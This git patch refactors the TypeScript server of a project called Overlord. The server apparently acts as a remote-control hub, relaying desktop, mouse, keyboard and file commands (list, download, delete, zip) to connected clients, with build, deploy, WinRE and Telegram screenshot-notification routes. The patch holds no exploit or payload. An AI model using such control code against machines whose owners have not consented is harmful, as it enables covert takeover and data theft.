From df0f4e45a42049721f0c3672123f4fe00ab05a45 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 6 May 2026 18:24:33 -0500 Subject: [PATCH] fix my shit code --- Overlord-Server/src/httpHandlers.ts | 90 ++++------ Overlord-Server/src/main-server.ts | 111 +++++------- Overlord-Server/src/server/http-dispatch.ts | 186 +------------------- Overlord-Server/src/server/http-utils.ts | 24 ++- 4 files changed, 101 insertions(+), 310 deletions(-) diff --git a/Overlord-Server/src/httpHandlers.ts b/Overlord-Server/src/httpHandlers.ts index 0f6ef65..25f47e4 100644 --- a/Overlord-Server/src/httpHandlers.ts +++ b/Overlord-Server/src/httpHandlers.ts @@ -42,78 +42,48 @@ export function handleClientsRequest(req: Request): Response { return Response.json({ ...result, items }, { headers: CORS_HEADERS }); } +const SIMPLE_COMMANDS = new Set([ + "desktop_start", "desktop_stop", "disconnect", "reconnect", +]); +const PAYLOAD_COMMANDS: Record> = { + desktop_select_display: { display: 0 }, + desktop_enable_mouse: { enabled: true }, + desktop_enable_keyboard:{ enabled: true }, +}; +const FILE_COMMANDS = new Set([ + "file_list", "file_download", "file_delete", "file_mkdir", "file_zip", +]); + +const OK = () => Response.json({ ok: true }); + export function handleCommand(target: ClientInfo, action: string, req: Request) { console.log(`[command] action=${action} clientId=${target.id}`); - - metrics.recordCommand(action); - + if (action === "ping") { const nonce = Date.now() + Math.floor(Math.random() * 1000); target.lastPingSent = Date.now(); target.lastPingNonce = nonce; target.ws.send(encodeMessage({ type: "ping", ts: nonce })); - return Response.json({ ok: true }); + return OK(); } - if (action === "desktop_start") { - target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start" as any, id: uuidv4() })); - return Response.json({ ok: true }); + + if (SIMPLE_COMMANDS.has(action)) { + target.ws.send(encodeMessage({ type: "command", commandType: action as any, id: uuidv4() })); + return OK(); } - if (action === "desktop_stop") { - target.ws.send(encodeMessage({ type: "command", commandType: "desktop_stop" as any, id: uuidv4() })); - return Response.json({ ok: true }); + + if (action in PAYLOAD_COMMANDS) { + target.ws.send(encodeMessage({ type: "command", commandType: action as any, id: uuidv4(), payload: PAYLOAD_COMMANDS[action] })); + return OK(); } - if (action === "desktop_select_display") { - - target.ws.send(encodeMessage({ type: "command", commandType: "desktop_select_display" as any, id: uuidv4(), payload: { display: 0 } })); - return Response.json({ ok: true }); - } - if (action === "desktop_enable_mouse") { - target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_mouse" as any, id: uuidv4(), payload: { enabled: true } })); - return Response.json({ ok: true }); - } - if (action === "desktop_enable_keyboard") { - target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_keyboard" as any, id: uuidv4(), payload: { enabled: true } })); - return Response.json({ ok: true }); - } - if (action === "disconnect") { - target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() })); - return Response.json({ ok: true }); - } - if (action === "reconnect") { - target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() })); - return Response.json({ ok: true }); - } - if (action === "file_list") { - const url = new URL(req.url); - const path = url.searchParams.get("path") || ""; - target.ws.send(encodeMessage({ type: "command", commandType: "file_list", id: uuidv4(), payload: { path } })); - return Response.json({ ok: true }); - } - if (action === "file_download") { - const url = new URL(req.url); - const path = url.searchParams.get("path") || ""; - target.ws.send(encodeMessage({ type: "command", commandType: "file_download", id: uuidv4(), payload: { path } })); - return Response.json({ ok: true }); - } - if (action === "file_delete") { - const url = new URL(req.url); - const path = url.searchParams.get("path") || ""; - target.ws.send(encodeMessage({ type: "command", commandType: "file_delete", id: uuidv4(), payload: { path } })); - return Response.json({ ok: true }); - } - if (action === "file_mkdir") { - const url = new URL(req.url); - const path = url.searchParams.get("path") || ""; - target.ws.send(encodeMessage({ type: "command", commandType: "file_mkdir", id: uuidv4(), payload: { path } })); - return Response.json({ ok: true }); - } - if (action === "file_zip") { - const url = new URL(req.url); - const path = url.searchParams.get("path") || ""; - target.ws.send(encodeMessage({ type: "command", commandType: "file_zip", id: uuidv4(), payload: { path } })); - return Response.json({ ok: true }); + + if (FILE_COMMANDS.has(action)) { + const path = new URL(req.url).searchParams.get("path") || ""; + target.ws.send(encodeMessage({ type: "command", commandType: action as any, id: uuidv4(), payload: { path } })); + return OK(); } + return new Response("Bad request", { status: 400 }); } diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 06bd974..6b91cf9 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -302,24 +302,25 @@ const storeNotificationScreenshotForPending = ( pruneOldNotifications(); setInterval(pruneOldNotifications, 60 * 60 * 1000); + +const toDeliveryTarget = (u: any): UserDeliveryTarget => ({ + userId: u.id, + username: u.username, + webhookEnabled: u.webhook_enabled === 1, + webhookUrl: u.webhook_url || "", + webhookTemplate: u.webhook_template, + telegramEnabled: u.telegram_enabled === 1, + telegramBotToken: u.telegram_bot_token || "", + telegramChatId: u.telegram_chat_id || "", + telegramTemplate: u.telegram_template, + clientEventWebhook: u.client_event_webhook === 1, + clientEventTelegram: u.client_event_telegram === 1, + clientEventPush: u.client_event_push === 1, +}); + const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => { - const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => { - return getUsersForNotificationDeliveryByClient(clientId) - .map((u) => ({ - userId: u.id, - username: u.username, - webhookEnabled: u.webhook_enabled === 1, - webhookUrl: u.webhook_url || "", - webhookTemplate: u.webhook_template, - telegramEnabled: u.telegram_enabled === 1, - telegramBotToken: u.telegram_bot_token || "", - telegramChatId: u.telegram_chat_id || "", - telegramTemplate: u.telegram_template, - clientEventWebhook: u.client_event_webhook === 1, - clientEventTelegram: u.client_event_telegram === 1, - clientEventPush: u.client_event_push === 1, - })); - }; + const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => + getUsersForNotificationDeliveryByClient(clientId).map(toDeliveryTarget); return deliverNotificationWithScreenshot(record, getUserDeliveryTargets); }; @@ -338,26 +339,12 @@ const notificationPluginHandlers = createNotificationPluginHandlers({ forwardPluginEventToRuntime: (clientId, pluginId, event, payload) => pluginRuntime.dispatchClientEvent(clientId, pluginId, event, payload), getDeliveryTargetsForClientEvent: (event: string, clientId: string): UserDeliveryTarget[] => { - const mapRow = (u: any): UserDeliveryTarget => ({ - userId: u.id, - username: u.username, - webhookEnabled: u.webhook_enabled === 1, - webhookUrl: u.webhook_url || "", - webhookTemplate: u.webhook_template, - telegramEnabled: u.telegram_enabled === 1, - telegramBotToken: u.telegram_bot_token || "", - telegramChatId: u.telegram_chat_id || "", - telegramTemplate: u.telegram_template, - clientEventWebhook: u.client_event_webhook === 1, - clientEventTelegram: u.client_event_telegram === 1, - clientEventPush: u.client_event_push === 1, - }); if (event === "client_purgatory") { return getUsersForNotificationDelivery() .filter((u) => u.role === "admin" || u.role === "operator") - .map(mapRow); + .map(toDeliveryTarget); } - return getUsersForNotificationDeliveryByClient(clientId).map(mapRow); + return getUsersForNotificationDeliveryByClient(clientId).map(toDeliveryTarget); }, savePluginState, }); @@ -709,28 +696,29 @@ async function startServer() { fetch: createHttpFetchHandler({ metrics, CORS_HEADERS, - handleRegistrationRoutes, - handleAuthRoutes, - handleNotificationsConfigRoutes, - handleAutoScriptsRoutes, - handleSavedScriptsRoutes, - handleAutoDeployRoutes, - handleEnrollmentRoutes, - handleChatRoutes, - handleSolRoutes, - handleUsersRoutes, - handleBuildRoutes, - handleDeployRoutes, - handleWinRERoutes, - handleFileDownloadRoutes, - handlePluginRoutes, - handleFileShareRoutes, - handleMiscRoutes, - handleAssetsRoutes, - handlePageRoutes, - handleClientRoutes, - handleWsUpgradeRoutes, - routeDeps, + routes: [ + (req, url) => handleRegistrationRoutes(req, url, routeDeps.registration), + (req, url, srv) => handleAuthRoutes(req, url, srv as any), + (req, url, srv) => handleNotificationsConfigRoutes(req, url, srv as any, routeDeps.notificationsConfig), + (req, url) => handleAutoScriptsRoutes(req, url), + (req, url) => handleSavedScriptsRoutes(req, url), + (req, url) => handleAutoDeployRoutes(req, url, routeDeps.autoDeploy), + (req, url) => handleEnrollmentRoutes(req, url), + (req, url) => handleChatRoutes(req, url), + (req, url) => handleSolRoutes(req, url), + (req, url, srv) => handleUsersRoutes(req, url, srv as any), + (req, url, srv) => handleBuildRoutes(req, url, srv as any, routeDeps.build), + (req, url, srv) => handleDeployRoutes(req, url, srv as any, routeDeps.deploy), + (req, url, srv) => handleWinRERoutes(req, url, srv as any, routeDeps.winre), + (req, url, srv) => handleFileDownloadRoutes(req, url, srv as any, routeDeps.fileDownload), + (req, url) => handlePluginRoutes(req, url, routeDeps.plugin), + (req, url) => handleFileShareRoutes(req, url, routeDeps.fileShare), + (req, url) => handleMiscRoutes(req, url, routeDeps.misc), + (req, url) => handleAssetsRoutes(req, url, routeDeps.assets), + (req, url) => handlePageRoutes(req, url, routeDeps.page), + (req, url, srv) => handleClientRoutes(req, url, srv as any, routeDeps.client), + (req, url, srv) => handleWsUpgradeRoutes(req, url, srv as any, routeDeps.wsUpgrade), + ], }), websocket: createWebSocketRuntime({ maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT, @@ -804,19 +792,14 @@ async function startServer() { startServer(); -process.on("SIGINT", () => { +function gracefulShutdown() { logger.info("\n[server] Shutting down gracefully..."); void pluginRuntime.shutdownAll(); flushAuditLogsSync(); process.exit(0); -}); - -process.on("SIGTERM", () => { - logger.info("\n[server] Shutting down gracefully..."); - void pluginRuntime.shutdownAll(); - flushAuditLogsSync(); - process.exit(0); -}); +} +process.on("SIGINT", gracefulShutdown); +process.on("SIGTERM", gracefulShutdown); process.on("uncaughtException", (err) => { logger.error("[server] uncaught exception:", err); diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts index aee56e6..5c3f4f8 100644 --- a/Overlord-Server/src/server/http-dispatch.ts +++ b/Overlord-Server/src/server/http-dispatch.ts @@ -1,188 +1,20 @@ -type MaybeResponse = Response | null; +export type RouteHandler = (req: Request, url: URL, server: unknown) => Promise; -type RouteHandler = (req: Request, url: URL) => Promise; -type RouteHandlerWithServer = ( - req: Request, - url: URL, - server: TServer, -) => Promise; -type RouteHandlerWithServerDeps = ( - req: Request, - url: URL, - server: TServer, - deps: TDeps, -) => Promise; -type RouteHandlerWithDeps = ( - req: Request, - url: URL, - deps: TDeps, -) => Promise; - -type HttpDispatchDeps< - TServer, - TNotificationsConfig, - TBuild, - TDeploy, - TAutoDeploy, - TWinRE, - TFileDownload, - TPlugin, - TFileShare, - TMisc, - TAssets, - TPage, - TClient, - TWsUpgrade, - TRegistration -> = { +export function createHttpFetchHandler(deps: { metrics: { withHttpMetrics: (fn: () => Promise) => Promise }; CORS_HEADERS: Record; - handleRegistrationRoutes: RouteHandlerWithDeps; - handleAuthRoutes: RouteHandlerWithServer; - handleNotificationsConfigRoutes: RouteHandlerWithServerDeps; - handleAutoScriptsRoutes: RouteHandler; - handleSavedScriptsRoutes: RouteHandler; - handleAutoDeployRoutes: RouteHandlerWithDeps; - handleEnrollmentRoutes: RouteHandler; - handleChatRoutes: RouteHandler; - handleSolRoutes: RouteHandler; - handleUsersRoutes: RouteHandlerWithServer; - handleBuildRoutes: RouteHandlerWithServerDeps; - handleDeployRoutes: RouteHandlerWithServerDeps; - handleWinRERoutes: RouteHandlerWithServerDeps; - handleFileDownloadRoutes: RouteHandlerWithServerDeps; - handlePluginRoutes: RouteHandlerWithDeps; - handleFileShareRoutes: RouteHandlerWithDeps; - handleMiscRoutes: RouteHandlerWithDeps; - handleAssetsRoutes: RouteHandlerWithDeps; - handlePageRoutes: RouteHandlerWithDeps; - handleClientRoutes: RouteHandlerWithServerDeps; - handleWsUpgradeRoutes: RouteHandlerWithServerDeps; - routeDeps: { - notificationsConfig: TNotificationsConfig; - build: TBuild; - deploy: TDeploy; - autoDeploy: TAutoDeploy; - winre: TWinRE; - fileDownload: TFileDownload; - plugin: TPlugin; - fileShare: TFileShare; - misc: TMisc; - assets: TAssets; - page: TPage; - client: TClient; - wsUpgrade: TWsUpgrade; - registration: TRegistration; - }; -}; - -export function createHttpFetchHandler< - TServer, - TNotificationsConfig, - TBuild, - TDeploy, - TAutoDeploy, - TWinRE, - TFileDownload, - TPlugin, - TFileShare, - TMisc, - TAssets, - TPage, - TClient, - TWsUpgrade, - TRegistration ->( - deps: HttpDispatchDeps< - TServer, - TNotificationsConfig, - TBuild, - TDeploy, - TAutoDeploy, - TWinRE, - TFileDownload, - TPlugin, - TFileShare, - TMisc, - TAssets, - TPage, - TClient, - TWsUpgrade, - TRegistration - > -) { + routes: RouteHandler[]; +}) { return async function fetchHandler(req: Request, server: unknown): Promise { return deps.metrics.withHttpMetrics(async () => { - const routeServer = server as TServer; - const url = new URL(req.url); - if (req.method === "OPTIONS") { return new Response("", { headers: deps.CORS_HEADERS }); } - - const registrationResponse = await deps.handleRegistrationRoutes(req, url, deps.routeDeps.registration); - if (registrationResponse) return registrationResponse; - - const authRouteResponse = await deps.handleAuthRoutes(req, url, routeServer); - if (authRouteResponse) return authRouteResponse; - - const notificationsConfigResponse = await deps.handleNotificationsConfigRoutes(req, url, routeServer, deps.routeDeps.notificationsConfig); - if (notificationsConfigResponse) return notificationsConfigResponse; - - const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url); - if (autoScriptsResponse) return autoScriptsResponse; - - const savedScriptsResponse = await deps.handleSavedScriptsRoutes(req, url); - if (savedScriptsResponse) return savedScriptsResponse; - - const autoDeployResponse = await deps.handleAutoDeployRoutes(req, url, deps.routeDeps.autoDeploy); - if (autoDeployResponse) return autoDeployResponse; - - const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url); - if (enrollmentResponse) return enrollmentResponse; - - const chatResponse = await deps.handleChatRoutes(req, url); - if (chatResponse) return chatResponse; - - const solResponse = await deps.handleSolRoutes(req, url); - if (solResponse) return solResponse; - - const usersResponse = await deps.handleUsersRoutes(req, url, routeServer); - if (usersResponse) return usersResponse; - - const buildResponse = await deps.handleBuildRoutes(req, url, routeServer, deps.routeDeps.build); - if (buildResponse) return buildResponse; - - const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy); - if (deployResponse) return deployResponse; - - const winreResponse = await deps.handleWinRERoutes(req, url, routeServer, deps.routeDeps.winre); - if (winreResponse) return winreResponse; - - const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload); - if (fileDownloadResponse) return fileDownloadResponse; - - const pluginResponse = await deps.handlePluginRoutes(req, url, deps.routeDeps.plugin); - if (pluginResponse) return pluginResponse; - - const fileShareResponse = await deps.handleFileShareRoutes(req, url, deps.routeDeps.fileShare); - if (fileShareResponse) return fileShareResponse; - - const miscResponse = await deps.handleMiscRoutes(req, url, deps.routeDeps.misc); - if (miscResponse) return miscResponse; - - const assetsResponse = await deps.handleAssetsRoutes(req, url, deps.routeDeps.assets); - if (assetsResponse) return assetsResponse; - - const pageResponse = await deps.handlePageRoutes(req, url, deps.routeDeps.page); - if (pageResponse) return pageResponse; - - const clientRouteResponse = await deps.handleClientRoutes(req, url, routeServer, deps.routeDeps.client); - if (clientRouteResponse) return clientRouteResponse; - - const wsUpgradeResponse = await deps.handleWsUpgradeRoutes(req, url, routeServer, deps.routeDeps.wsUpgrade); - if (wsUpgradeResponse) return wsUpgradeResponse; - + const url = new URL(req.url); + for (const route of deps.routes) { + const response = await route(req, url, server); + if (response) return response; + } return new Response("Not found", { status: 404 }); }); }; diff --git a/Overlord-Server/src/server/http-utils.ts b/Overlord-Server/src/server/http-utils.ts index a287cea..6ddba3d 100644 --- a/Overlord-Server/src/server/http-utils.ts +++ b/Overlord-Server/src/server/http-utils.ts @@ -15,14 +15,20 @@ export function securePluginHeaders() { }; } -export function mimeType(path: string) { - if (path.endsWith(".html")) return "text/html; charset=utf-8"; - if (path.endsWith(".css")) return "text/css; charset=utf-8"; - if (path.endsWith(".js")) return "text/javascript; charset=utf-8"; - if (path.endsWith(".json")) return "application/json"; - if (path.endsWith(".png")) return "image/png"; - if (path.endsWith(".jpg") || path.endsWith(".jpeg")) return "image/jpeg"; - if (path.endsWith(".webp")) return "image/webp"; - if (path.endsWith(".gif")) return "image/gif"; +const MIME_TYPES: Record = { + ".html": "text/html; charset=utf-8", + ".css": "text/css; charset=utf-8", + ".js": "text/javascript; charset=utf-8", + ".json": "application/json", + ".png": "image/png", + ".jpg": "image/jpeg", + ".jpeg": "image/jpeg", + ".webp": "image/webp", + ".gif": "image/gif", +}; + +export function mimeType(filePath: string) { + const dot = filePath.lastIndexOf("."); + if (dot !== -1) return MIME_TYPES[filePath.slice(dot).toLowerCase()] ?? "application/octet-stream"; return "application/octet-stream"; }